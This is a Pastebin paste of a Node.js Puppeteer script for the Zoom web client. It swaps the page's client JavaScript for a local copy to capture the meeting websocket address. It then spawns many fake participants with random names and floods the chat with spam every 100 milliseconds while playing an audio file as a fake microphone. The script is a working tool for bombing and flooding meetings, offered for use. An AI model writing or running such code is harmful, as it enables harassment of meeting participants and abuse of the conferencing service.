Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const puppeteer = require('puppeteer');
- const fs = require('fs');
- const querystring = require('querystring');
- const WebSocket = require('ws');
- thePage = null;
- wsAddress = undefined
- virtualClientWebSockets = [];
- chatSpamEnabled=true;
- messagIds={
- ping:0,//both {"evt":0,"seq":15}
- updateClients:7937,//from server
- updateSettings:7938,//from server
- setHost:7940,//from server
- setVideo:16129,//from server {"body":{"bVideoOn":false,"id":16779266},"evt":16129,"seq":52}
- leaveMetting:4103,//from client
- updateHand:4131,//from client {"evt":4131,"body":{"bOn":true,"id":16785408},"seq":13}
- sendChat:4135,//from client {"evt":4135,"body":{"text":"dGVzdA==","destNodeID":0},"seq":17}
- }
- process.on("exit", function () {
- console.log("Exiting Meeting")
- if (thePage.$(".footer__leave-btn.ax-outline") != null) {
- }
- for (var x = 0; x < virtualClientWebSockets.length; x++) {
- if (virtualClientWebSockets[x] !== undefined && virtualClientWebSockets[x].readyState == 1) {
- virtualClientWebSockets[x].send('{"evt":'+messagIds['leaveMetting']+',"body":{},"seq":0}')
- console.log(names[x] + ": Leaving");
- }
- }
- for (var x = 0; x < 10000; x++) { }
- //process.exit();
- });
- function genRandomString(length) {
- var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*{}[]<>?";
- var passwd = ""
- for (var i = 0; i < length; i++) {
- passwd += chars[parseInt(Math.random() * 76)]
- }
- return passwd
- }
- function onPageConsole(error) {
- prefix = "jsabdsa#@gtv%^$%77sa4d5a8jsk4nd54yg"
- if (wsAddress == undefined && error._text.startsWith(prefix + "wss://") && error._type == 'log' && error._location.url.includes("js/webclient.min.js")) {
- wsAddress = error._text.substring(prefix.length)
- wsURL = wsAddress.split('?')[0]
- thePage.removeListener('console', onPageConsole);
- wsParsed = querystring.parse(wsAddress.substring(wsURL.length + 1))
- console.log(wsParsed)
- createVirtualClients(wsURL, wsParsed)
- }
- }
- function onPageRequest(request) {
- requestedURL = request.url();
- if (requestedURL.includes("js/webclient.min.js")) {
- console.log(requestedURL.substring(0, requestedURL.indexOf("/web")))
- webClientText = fs.readFile("./webclient.min.js", function (err, webClientText) {
- if (err) { throw err; }
- console.log("file data: " + webClientText.length)
- request.respond({
- status: 200,
- contentType: 'application/javascript',
- body: webClientText
- });
- });
- thePage.on('console', onPageConsole);
- } else {
- request.continue();
- }
- }
- async function startZoom(meetingId, pwd, name) {
- if (pwd == "=") { pwd = ""; }
- const browser = await puppeteer.launch({
- headless: false,
- defaultViewport: null,
- args: [
- '--use-fake-ui-for-media-stream'//,
- // '--proxy-server=socks5://127.0.0.1:12345'
- ],
- ignoreDefaultArgs: ['--mute-audio'],
- });
- pages = await browser.pages();
- var page;
- if (pages.length > 0) {
- page = (await browser.pages())[0];
- } else {
- page = browser.newPage();
- }
- thePage = page;
- await page.setRequestInterception(true);
- page.on('request', onPageRequest);
- page.on('console', onPageConsole);
- const url = "https://zoom.us/wc/join/" + meetingId + "?pwd=" + pwd;
- console.log(name + ": Loading Page")
- await page.goto(url, { waitUntil: 'load', timeout: 0 });
- console.log(name + ": Waiting fot #join-form")
- await page.waitFor('#join-form');
- await page.evaluate((name) => {
- $('#inputname')[0].value = name;
- $('#joinBtn')[0].click();//$(".more-button__pop-menu dropdown-menu").find("[aria-label='Disable video receiving']").click();
- }, name);
- console.log(name + ": Joining Meeting")
- await page.waitForNavigation();
- if(page.$("#wc_agree1")!==null){
- await page.evaluate(() => {
- $("#wc_agree1").click()
- })
- await page.waitForNavigation();
- await page.evaluate((name) => {
- $('#inputname')[0].value = name;
- $('#joinBtn')[0].click();//$(".more-button__pop-menu dropdown-menu").find("[aria-label='Disable video receiving']").click();
- }, name);
- console.log(name + ": Joining Meeting Again")
- }
- await page.waitFor("#moreButton");
- await page.evaluate(() => {//http-server ./ --cors
- var audio = document.createElement("audio");
- audio.setAttribute("src", "http://127.0.0.1:8080/song.mp3");
- audio.setAttribute("crossorigin", "anonymous");
- audio.setAttribute("controls", "");
- audio.onplay = function () {
- var stream = audio.captureStream();
- navigator.mediaDevices.getUserMedia = async function () {
- return stream;
- };
- }
- document.querySelector("body").appendChild(audio);
- });
- await page.evaluate(() => {
- $('#moreButton')[0].click();
- $("body").find("[aria-label='Disable video receiving']")[0].click()
- console.log("Main: Leaving")
- window.onbeforeunload = function () {
- $(".footer__leave-btn.ax-outline").click();
- setInterval(function () {
- $(".zm-btn.zm-btn-legacy.zm-btn--primary.zm-btn__outline--blue").click();
- }, 0);
- }
- });
- console.log(name + ": Connected")
- }
- numberOfInstances = 0;
- names = [];
- if (process.argv.length < 4) { console.log("Usage Meeting Id, Meeting Password '=' for none, Name, <Number of Instances>, <Name List>"); return null }
- if (process.argv.length == 5) {
- startZoom(process.argv[2], process.argv[3], process.argv[4], null, 0);
- } else if (process.argv.length == 6) {
- numberOfInstances = parseInt(process.argv[5])
- if (numberOfInstances == "NaN") {
- Console.log(process.argv[5] + " Iis Not Valid For Number Of Instances");
- }
- for (var x = 0; x < numberOfInstances; x++) {
- names.push(process.argv[4] + genRandomString(4));
- }
- startZoom(process.argv[2], process.argv[3], process.argv[4], names, numberOfInstances);
- } else {
- console.log("Usage Meeting Id, Meeting Password '=' for none, Name, <Number of Instances>, <Name List>");
- }
- function createVirtualClients(wsURL, wsParsed) {
- for (var x = 0; x < numberOfInstances; x++) {
- wsParsed['dn'] = names[x]
- wsParsed['dn2'] = (new Buffer(names[x])).toString('base64')
- console.log(names[x] + ': Connecting')
- url = wsURL + "?" + querystring.stringify(wsParsed);
- virtualClientWebSockets.push(new WebSocket(url))
- }
- if(chatSpamEnabled){
- setInterval(chatSpam,100);
- }
- }
- //sendChat:4135,//from client {"evt":4135,"body":{"text":"dGVzdA==","destNodeID":0},"seq":17}
- function chatSpam(){
- for (var x = 0; x < virtualClientWebSockets.length; x++) {
- if (virtualClientWebSockets[x] !== undefined && virtualClientWebSockets[x].readyState == 1) {
- virtualClientWebSockets[x].send('{"evt":'+messagIds['sendChat']+',"body":{"text":"'+(new Buffer("chatSpam: "+genRandomString(30))).toString('base64')+'","destNodeID":0},"seq":17}')
- }
- }
- }
Add Comment
Please, Sign In to add comment